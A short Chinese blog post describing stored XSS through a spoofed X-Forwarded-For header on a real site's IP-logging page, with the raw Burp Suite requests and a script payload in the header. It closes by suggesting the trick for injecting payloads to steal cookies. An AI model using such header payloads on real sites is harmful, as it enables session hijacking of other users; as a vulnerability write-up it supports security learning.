一次有趣的X-Forwarded-For头存储XSS

首先是一个这个网站：

https://io.xxx.cn/iper/ips.html

只要你访问了这个URL：

https://io.xxx.cn/iper/

然后就会记录你的IP:

那么如果吧IP修改为XssPayload会不会触发XSS跨站脚本攻击呢？

先是下载了这个修改IP的插件：X-Forwarded-For Header

需要科学上网才能使用哦！

我显示吧IP修改为内网IP然后通过BurpSuite抓包：

GET /iper/ HTTP/1.1 Host: io.xxx.cn Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 X-Forwarded-For: 192.168.1.2 Accept-Language: zh-CN,zh;q=0.9

吧X-Forwarded-For: 192.168.1.2修改为：X-Forwarded-For: "/><script>alert('Power_liu')</script>script>:

GET /iper/ HTTP/1.1
Host: io.xxx.cn
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
X-Forwarded-For: "/><script>alert('Power_liu')</script>script>
Accept-Language: zh-CN,zh;q=0.9

这样就成功触发了XSS-Payload弹窗！还是挺有趣的，以后挖洞的时候可以利用这一点来插入Payload打Cookie!
